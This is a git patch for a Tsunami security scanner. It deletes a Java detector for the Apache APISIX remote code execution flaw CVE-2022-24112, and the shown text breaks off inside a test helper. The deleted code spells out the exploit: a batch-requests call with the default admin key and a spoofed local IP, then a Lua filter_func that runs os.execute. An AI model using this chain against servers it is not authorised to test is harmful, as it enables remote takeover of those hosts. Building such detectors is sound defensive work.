From 775ec1e473f481113dd00646bb7a1093f59e7d55 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Wed, 6 May 2026 06:44:37 -0400 Subject: [PATCH 1/9] converted APISIX cve-2022-24112 detector to templated --- .../apache_apisix_cve_2022_24112/README.md | 13 - .../apache_apisix_cve_2022_24112/build.gradle | 42 --- .../settings.gradle | 16 - .../cve202224112/Cve202224112Detector.java | 302 ------------------ .../Cve202224112DetectorBootstrapModule.java | 27 -- .../rce/cve202224112/pipeRequestBody.json | 16 - ...2224112DetectorWithCallbackServerTest.java | 130 -------- ...4112DetectorWithoutCallbackServerTest.java | 124 ------- .../rce/cve202224112/TestHelper.java | 61 ---- .../ApacheAPISIX_CVE_2022_24112.textproto | 127 ++++++++ ...ApacheAPISIX_CVE_2022_24112_test.textproto | 72 +++++ 11 files changed, 199 insertions(+), 731 deletions(-) delete mode 100644 community/detectors/apache_apisix_cve_2022_24112/README.md delete mode 100644 community/detectors/apache_apisix_cve_2022_24112/build.gradle delete mode 100644 community/detectors/apache_apisix_cve_2022_24112/settings.gradle delete mode 100644 community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112Detector.java delete mode 100644 community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorBootstrapModule.java delete mode 100644 community/detectors/apache_apisix_cve_2022_24112/src/main/resources/com/google/tsunami/plugins/detectors/rce/cve202224112/pipeRequestBody.json delete mode 100644 community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithCallbackServerTest.java delete mode 100644 community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithoutCallbackServerTest.java delete mode 100644 community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/TestHelper.java create mode 100644 templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto create mode 100644 templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto diff --git a/community/detectors/apache_apisix_cve_2022_24112/README.md b/community/detectors/apache_apisix_cve_2022_24112/README.md deleted file mode 100644 index bf263d460..000000000 --- a/community/detectors/apache_apisix_cve_2022_24112/README.md +++ /dev/null @@ -1,13 +0,0 @@ -# Apache APISIX RCE CVE-2022-24112 Detector - -Some of Apache APISIX 2.x versions allows attacker to -bypass IP restrictions of Admin API through the batch-requests plugin. -See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24112 for a details. - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` diff --git a/community/detectors/apache_apisix_cve_2022_24112/build.gradle b/community/detectors/apache_apisix_cve_2022_24112/build.gradle deleted file mode 100644 index 97d146bda..000000000 --- a/community/detectors/apache_apisix_cve_2022_24112/build.gradle +++ /dev/null @@ -1,42 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami Apache APISIX RCE (CVE-2022-24112) VulnDetector plugin.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation("com.google.tsunami:tcs-proto") { - version { branch = "${tcsRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" -} diff --git a/community/detectors/apache_apisix_cve_2022_24112/settings.gradle b/community/detectors/apache_apisix_cve_2022_24112/settings.gradle deleted file mode 100644 index 0c47447b8..000000000 --- a/community/detectors/apache_apisix_cve_2022_24112/settings.gradle +++ /dev/null @@ -1,16 +0,0 @@ -rootProject.name = 'apache_apisix_cve_2022_24112' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } - - gitRepository("${tcsRepository}") { - producesModule("com.google.tsunami:tcs-proto") - } -} diff --git a/community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112Detector.java b/community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112Detector.java deleted file mode 100644 index 2ca652b89..000000000 --- a/community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112Detector.java +++ /dev/null @@ -1,302 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.cve202224112; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.CONNECTION; -import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.net.http.HttpRequest.get; -import static com.google.tsunami.common.net.http.HttpRequest.post; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.io.Resources; -import com.google.common.util.concurrent.Uninterruptibles; -import com.google.gson.JsonElement; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Duration; -import java.time.Instant; -import javax.inject.Inject; - -/** A {@link VulnDetector} that detects Apache APISIX RCE CVE-2022-24112. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "Apache APISIX RCE CVE-2022-24112 Detector", - version = "0.1", - description = "This detector checks Apache APISIX RCE (CVE-2022-24112).", - author = "yuradoc (yuradoc.research@gmail.com)", - bootstrapModule = Cve202224112DetectorBootstrapModule.class) -public final class Cve202224112Detector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private static final String BATCH_REQUEST_PATH = "apisix/batch-requests"; - private static final int BATCH_REQUEST_WAIT_AFTER_TIMEOUT = 6; - private static final String DEFAULT_ADMIN_KEY_TOKEN = "edd1c9f034335f136f87ad84b625c8f1"; - private static final String X_REAL_IP_BYPASS = "127.0.0.1"; - private static final String PIPE_REQUEST_PATH = "apisix/admin/routes/tsunami_rce"; - private static final int PIPE_REQUEST_EXPIRE_TTL = 30; - private static final String PIPE_REQUEST_BODY_URI = - "tsunami_rce/" + Long.toHexString(Double.doubleToLongBits(Math.random())); - private static final String PIPE_REQUEST_BODY_NAME = - Long.toHexString(Double.doubleToLongBits(Math.random())); - - private static final String FILTER_FUNC_OS_RCE = - "function(vars) os.execute('%s'); return true end"; - private static final String FILTER_FUNC_OS_EXEC = - "function(vars) return os.execute('echo hello')==true end"; - private static final String FILTER_FUNC_FALSE = "function(vars) return false end"; - private final Clock utcClock; - private final HttpClient httpClient; - - private final PayloadGenerator payloadGenerator; - private final String batchRequestBodyTemplate; - - @Inject - Cve202224112Detector( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) - throws IOException { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient); - this.payloadGenerator = checkNotNull(payloadGenerator); - batchRequestBodyTemplate = - Resources.toString(Resources.getResource(this.getClass(), "pipeRequestBody.json"), UTF_8); - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2022-24112")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache APISIX RCE (CVE-2022-24112)") - .setDescription( - "Some of Apache APISIX 2.x versions allows attacker to" - + " bypass IP restrictions of Admin API through the batch-requests plugin." - + " A default configuration of Apache APISIX (with default API key) is" - + " vulnerable to remote code execution through the plugin.") - .setRecommendation("Update Apache APISIX to a newer version.") - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-24112")) - .build()); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("Cve202224112Detector starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - return (payloadGenerator.isCallbackServerEnabled() && isVulnerableWithCallback(networkService)) - || isVulnerableWithoutCallback(networkService); - } - - private boolean isVulnerableWithCallback(NetworkService networkService) { - PayloadGeneratorConfig config = - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build(); - - Payload payload = payloadGenerator.generate(config); - String cmd = payload.getPayload(); - - String filterFunc = String.format(FILTER_FUNC_OS_RCE, cmd); - - var vulnRouteCreated = registerRouteRequest(networkService, filterFunc); - if (!vulnRouteCreated) { - return false; - } - - Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(BATCH_REQUEST_WAIT_AFTER_TIMEOUT)); - - executeCreatedRouteRequest(networkService); - - return payload.checkIfExecuted(); - } - - private boolean isVulnerableWithoutCallback(NetworkService networkService) { - HttpResponse resp; - - var vulnRouteCreated = registerRouteRequest(networkService, FILTER_FUNC_OS_EXEC); - if (!vulnRouteCreated) { - return false; - } - - Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(BATCH_REQUEST_WAIT_AFTER_TIMEOUT)); - - resp = executeCreatedRouteRequest(networkService); - if (resp == null - || !(resp.status().code() == HttpStatus.SERVICE_UNAVAILABLE.code() - || resp.status().code() == HttpStatus.BAD_GATEWAY.code())) { - return false; - } - - var trueNegativeRouteCreated = registerRouteRequest(networkService, FILTER_FUNC_FALSE); - if (!trueNegativeRouteCreated) { - return false; - } - - Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(BATCH_REQUEST_WAIT_AFTER_TIMEOUT)); - - resp = executeCreatedRouteRequest(networkService); - return resp != null && resp.status().code() == HttpStatus.NOT_FOUND.code(); - } - - private HttpResponse executeBatchRequest(NetworkService networkService, String filterFunc) { - String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - - HttpHeaders headers = - HttpHeaders.builder() - .addHeader("X-API-KEY", DEFAULT_ADMIN_KEY_TOKEN) - .addHeader(CONTENT_TYPE, "application/json") - .addHeader(CONNECTION, "close") - .build(); - - String batchRequestBody = this.batchRequestBodyTemplate; - String[] placeholders = { - "{{X_REAL_IP}}", - "{{X_API_KEY}}", - "{{PIPE_REQ_PATH}}", - "{{PIPE_REQ_METHOD}}", - "{{PIPE_REQ_URI}}", - "{{PIPE_REQ_NAME}}", - "{{PIPE_REQ_FILTER_FUNC}}" - }; - String[] replacements = { - X_REAL_IP_BYPASS, - DEFAULT_ADMIN_KEY_TOKEN, - "/" + PIPE_REQUEST_PATH + "?ttl=" + PIPE_REQUEST_EXPIRE_TTL, - "PUT", - "/" + PIPE_REQUEST_BODY_URI, - PIPE_REQUEST_BODY_NAME, - filterFunc - }; - - for (int i = 0; i < placeholders.length; i++) { - batchRequestBody = batchRequestBody.replace(placeholders[i], replacements[i]); - } - - HttpResponse resp = null; - try { - resp = - httpClient.send( - post(targetUri + BATCH_REQUEST_PATH) - .setHeaders(headers) - .setRequestBody(ByteString.copyFromUtf8(batchRequestBody)) - .build(), - networkService); - } catch (Exception e) { - logger.atWarning().log("Failed to send request."); - } - return resp; - } - - private boolean registerRouteRequest(NetworkService networkService, String filterFunc) { - HttpResponse resp = executeBatchRequest(networkService, filterFunc); - - return resp != null - && resp.status().code() == HttpStatus.OK.code() - && resp.bodyJson().isPresent() - && containsOkStatus(resp.bodyJson().get()); - } - - private boolean containsOkStatus(JsonElement jsonElement) { - try { - return jsonElement - .getAsJsonArray() - .get(0) - .getAsJsonObject() - .get("status") - .getAsString() - .matches("200|201"); - } catch (Exception e) { - logger.atInfo().log("Best effort Json parsing failed for %s.", jsonElement); - } - return false; - } - - private HttpResponse executeCreatedRouteRequest(NetworkService networkService) { - String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - - HttpHeaders headers = - HttpHeaders.builder() - .addHeader("X-API-KEY", DEFAULT_ADMIN_KEY_TOKEN) - .addHeader(CONTENT_TYPE, "application/json") - .addHeader(CONNECTION, "close") - .build(); - - HttpResponse resp = null; - try { - resp = - httpClient.send( - get(targetUri + PIPE_REQUEST_BODY_URI).setHeaders(headers).build(), networkService); - } catch (Exception e) { - logger.atWarning().log("Failed to send request."); - } - return resp; - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorBootstrapModule.java b/community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorBootstrapModule.java deleted file mode 100644 index 2baeca77a..000000000 --- a/community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorBootstrapModule.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.cve202224112; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** A {@link PluginBootstrapModule} for {@link Cve202224112Detector}. */ -public final class Cve202224112DetectorBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(Cve202224112Detector.class); - } -} diff --git a/community/detectors/apache_apisix_cve_2022_24112/src/main/resources/com/google/tsunami/plugins/detectors/rce/cve202224112/pipeRequestBody.json b/community/detectors/apache_apisix_cve_2022_24112/src/main/resources/com/google/tsunami/plugins/detectors/rce/cve202224112/pipeRequestBody.json deleted file mode 100644 index 3de2ada68..000000000 --- a/community/detectors/apache_apisix_cve_2022_24112/src/main/resources/com/google/tsunami/plugins/detectors/rce/cve202224112/pipeRequestBody.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "headers": { - "X-Real-IP": "{{X_REAL_IP}}", - "X-API-KEY": "{{X_API_KEY}}", - "Content-Type": "application/json" - }, - "timeout": 1500, - "pipeline": [ - { - "path": "{{PIPE_REQ_PATH}}", - "method": "{{PIPE_REQ_METHOD}}", - "body": "{\"uri\":\"{{PIPE_REQ_URI}}\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{}},\"name\":\"{{PIPE_REQ_NAME}}\",\"filter_func\":\"{{PIPE_REQ_FILTER_FUNC}}\"}" - } - ] -} - diff --git a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithCallbackServerTest.java b/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithCallbackServerTest.java deleted file mode 100644 index f09b4ac39..000000000 --- a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithCallbackServerTest.java +++ /dev/null @@ -1,130 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.cve202224112; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.JsonFormat; -import com.google.tsunami.callbackserver.proto.PollingResult; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link Cve202224112Detector}. */ -@RunWith(JUnit4.class) -public final class Cve202224112DetectorWithCallbackServerTest { - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2022-05-23T00:00:00.00Z")); - - private MockWebServer mockWebServer; - private MockWebServer mockCallbackServer; - private NetworkService service; - private TargetInfo targetInfo; - - @Inject private Cve202224112Detector detector; - - @Before - public void setUp() throws IOException { - mockWebServer = new MockWebServer(); - mockCallbackServer = new MockWebServer(); - mockCallbackServer.start(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), - new Cve202224112DetectorBootstrapModule()) - .injectMembers(this); - - service = TestHelper.createWebService(mockWebServer); - - targetInfo = TestHelper.buildTargetInfo(forHostname(mockWebServer.getHostName())); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - mockCallbackServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() throws IOException { - mockWebServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("[{\"status\":200}]")); - mockWebServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.SERVICE_UNAVAILABLE.code())); - PollingResult log = PollingResult.newBuilder().setHasHttpInteraction(true).build(); - String body = JsonFormat.printer().preservingProtoFieldNames().print(log); - mockCallbackServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(body)); - - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - TestHelper.buildValidDetectionReport(detector, targetInfo, service, fakeUtcClock)); - assertThat(mockWebServer.getRequestCount()).isEqualTo(2); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); - } - - @Test - public void detect_returnsEmptyJsonBody_doesNotReportVuln() throws IOException { - mockWebServer.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("[{}]")); - mockWebServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.SERVICE_UNAVAILABLE.code())); - PollingResult log = PollingResult.newBuilder().setHasHttpInteraction(true).build(); - String body = JsonFormat.printer().preservingProtoFieldNames().print(log); - mockCallbackServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(body)); - - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - @Test - public void detect_ifNotVulnerable_doesNotReportVuln() throws IOException { - mockWebServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("[{\"status\":200}]")); - mockWebServer.enqueue(new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code())); - - PollingResult log = PollingResult.newBuilder().setHasHttpInteraction(true).build(); - String body = JsonFormat.printer().preservingProtoFieldNames().print(log); - mockCallbackServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()).setBody(body)); - - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } -} diff --git a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithoutCallbackServerTest.java b/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithoutCallbackServerTest.java deleted file mode 100644 index 0071e4f43..000000000 --- a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithoutCallbackServerTest.java +++ /dev/null @@ -1,124 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.cve202224112; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link Cve202224112Detector}. */ -@RunWith(JUnit4.class) -public final class Cve202224112DetectorWithoutCallbackServerTest { - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2022-05-23T00:00:00.00Z")); - - private MockWebServer mockWebServer; - private NetworkService service; - private TargetInfo targetInfo; - - @Inject private Cve202224112Detector detector; - - @Before - public void setUp() { - mockWebServer = new MockWebServer(); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().build(), - new Cve202224112DetectorBootstrapModule()) - .injectMembers(this); - - service = TestHelper.createWebService(mockWebServer); - - targetInfo = TestHelper.buildTargetInfo(forHostname(mockWebServer.getHostName())); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() { - mockWebServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("[{\"status\":200}]")); - mockWebServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.SERVICE_UNAVAILABLE.code())); - mockWebServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("[{\"status\":200}]")); - mockWebServer.enqueue(new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code())); - - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - TestHelper.buildValidDetectionReport(detector, targetInfo, service, fakeUtcClock)); - assertThat(mockWebServer.getRequestCount()).isEqualTo(4); - } - - @Test - public void detect_ifNotVulnerableBatchRequest_doesNotReportVuln() { - mockWebServer.enqueue(new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code())); - - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - @Test - public void detect_ifNotVulnerableHtmlResponse_doesNotReportVuln() { - mockWebServer.enqueue( - new MockResponse() - .setResponseCode(HttpStatus.OK.code()) - .setBody( - "\n" - + "Error\n")); - - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - @Test - public void detect_ifNotCreatedRoute_doesNotReportVuln() { - mockWebServer.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("[{\"status\":200}]")); - mockWebServer.enqueue(new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code())); - - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } -} diff --git a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/TestHelper.java b/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/TestHelper.java deleted file mode 100644 index 128ea23b8..000000000 --- a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/TestHelper.java +++ /dev/null @@ -1,61 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.rce.cve202224112; - -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkEndpoint; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import java.time.Instant; -import okhttp3.mockwebserver.MockWebServer; - -final class TestHelper { - private TestHelper() {} - - static NetworkService createWebService(MockWebServer mockWebServer) { - return NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build(); - } - - static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { - return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build(); - } - - static DetectionReport buildValidDetectionReport( - Cve202224112Detector detector, - TargetInfo targetInfo, - NetworkService service, - FakeUtcClock fakeUtcClock) { - return DetectionReport.newBuilder() - 